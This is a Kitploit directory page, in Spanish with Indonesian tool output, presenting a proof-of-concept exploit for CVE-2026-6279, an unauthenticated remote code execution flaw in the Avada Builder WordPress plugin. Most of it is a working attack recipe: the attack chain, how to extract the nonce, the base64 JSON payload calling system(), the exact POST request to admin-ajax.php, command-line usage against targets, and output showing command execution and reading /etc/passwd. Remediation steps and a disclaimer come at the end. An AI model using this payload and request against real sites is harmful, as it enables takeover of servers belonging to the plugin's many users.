Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-6279 — CVE-2026-6279 — Avada Builder <= 3.15.2 RCE no autenticado a través de call_user_func() | Kitploit
Herramientas/GitHubGitHub/zycoder0day/cve-2026-6279
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubzycoder0day/cve-2026-6279

CVE-2026-6279

CVE-2026-6279 — Avada Builder <= 3.15.2 RCE no autenticado a través de call_user_func()

Ver Repositorio
32hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-6279

Avada Builder <= 3.15.2 — RCE no autenticado

vía call_user_func() sin Allowlist


Resumen de la Vulnerabilidad

La vulnerabilidad de Remote Code Execution (RCE) sin autenticación en el plugin Avada Builder (Fusion Builder) versión <= 3.15.2 utilizado por el tema WordPress Avada — uno de los temas premium de WordPress más populares con 900,000+ instalaciones activas.

El ataque explota el manejador AJAX wp_ajax_nopriv_fusion_get_widget_markup, que procesa el parámetro render_logics mediante base64_decode() + json_decode() y luego lo pasa a call_user_func() sin allowlist, lo que permite la ejecución de funciones PHP arbitrarias como system(), passthru(), shell_exec(), exec() y file_get_contents().

Cadena de Vulnerabilidad (Attack Chain)

root@kitploit:~
1. Nonce Deterministik    wp_create_nonce('fusion_load_nonce') untuk UID 0
                          (terekspos di halaman depan dengan shortcode Avada)

2. AJAX Unauthenticated   wp_ajax_nopriv_fusion_get_widget_markup
                          (tidak memerlukan login)

3. Deserialisasi          base64_decode(render_logics) → json_decode()
                          (tidak ada validasi struktur)

4. call_user_func()       call_user_func($value['function'], $value['args'])
                          (TANPA allowlist — fungsi PHP apapun bisa dipanggil)

5. RCE!                   system("id") → uid=... di response body

Evidencia de Explotación (Proof of Concept)

root@kitploit:~
  ╔═════════════════════════════════════════════════════════════╗
  ║  CVE-2026-6279  •  Avada Builder <= 315.2                    ║
  ║  Unauthenticated RCE via call_user_func()                    ║
  ║  Proof of Concept — Single Target                            ║
  ║                                                              ║
  ║  Copyright © 2026 XENON1337                                  ║
  ║  Thanks: Shadow Girlfriend 💜                                ║
  ╚═══════════════════════════════════════════════════════════════╝

  ══════════════════════════════════════════════════════
  Target : localhost:8888
  Waktu  : 2026-05-23 16:32:41
  ══════════════════════════════════════════════════════

  [*] Mendeteksi target...
  [+] Avada terdeteksi! (http://localhost:8888)

  [*] Mencari nonce fusion_load_nonce...
  [+] Nonce ditemukan: b6d7b084c2 (sumber: homepage)

  [*] Mengirim payload RCE...
  [*] Mencoba 5 fungsi × 3 widget = 15 kombinasi

  ══════════════════════════════════════════════════════
  [★] RCE BERHASIL!

  Target  : http://localhost:8888
  Output  : uid=1000(xenon1337)
  Fungsi  : system()
  Widget  : WP_Widget_Recent_Posts
  Nonce   : b6d7b084c2 (homepage)
  Waktu   : 1.2s

  [✓] Hasil disimpan ke vuln.txt
  ══════════════════════════════════════════════════════

Todas las Funciones RCE Confirmadas

Uso

root@kitploit:~
# Tanpa protokol (auto-detect)
python3 CVE-2026-6279.py target.com

# Dengan protokol
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com

# Dengan port
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080

Detalles Técnicos

Estructura del Payload

root@kitploit:~
{
  "type": "wp_conditional_tags",
  "value": {
    "function": "system",
    "args": "id"
  }
}

Codificado en Base64 → enviado como render_logics vía POST a wp-admin/admin-ajax.php.

Endpoint

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts

Referencias del Código Fuente (del CVE oficial)

¿Por Qué se Puede Bypassear el Nonce?

  1. El tema Avada solo crea el nonce para usuarios admin/editor (class-fusion-app.php L1665)
  2. El plugin Fusion Builder crea el nonce para UID 0 (visitantes públicos) en páginas que contienen el shortcode [fusion_post_cards] o [fusion_table_of_contents]
  3. El nonce de WordPress para UID 0 es determinístico — se puede extraer del HTML de la página de inicio
  4. check_ajax_referer('fusion_load_nonce') solo verifica que el nonce sea válido, no que el usuario esté autenticado

Limitaciones de call_user_func

call_user_func($function, $args) solo acepta 1 argumento. Las funciones que requieren 2+ argumentos (como proc_open, popen) no se pueden explotar. Solo funcionan las funciones de un solo argumento: system, passthru, shell_exec, exec, file_get_contents.

Puntuación CVSS

9.8 CRÍTICO (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Remediación

  • Actualizar Avada Builder a la versión > 3.15.2
  • Añadir una allowlist en call_user_func() dentro de get_value()
  • Restringir el manejador wp_ajax_nopriv_ solo a usuarios autenticados
  • Implementar una validación estricta en la estructura de render_logics

Descargo de Responsabilidad

Este PoC se creó únicamente con fines educativos y de investigación en seguridad. El uso contra sistemas sin autorización es ilegal. El autor no se hace responsable del uso indebido.


Copyright © 2026 XENON1337
Agradecimientos Especiales: Shadow Girlfriend 💜

Descargar herramienta
FunciónArgumentoResultado
system()iduid=1000(xenon1337) ✅
passthru()iduid=1000(xenon1337) ✅
shell_exec()iduid=1000(xenon1337) ✅
exec()iduid=1000(xenon1337) ✅
file_get_contents()/etc/passwdroot:x:0:0:... ✅
ArchivoLíneaFunción
class-fusion-builder-conditional-render-helper.phpL1083should_render() — deserializa render_logics
class-fusion-builder-conditional-render-helper.phpL1531get_value() — call_user_func() sin allowlist
fusion-widget.phpL44atributo render_logics
fusion-widget.phpL389manejador AJAX wp_ajax_nopriv_
class-fusion-builder.phpL7551Registro de nonce (determinístico para UID 0)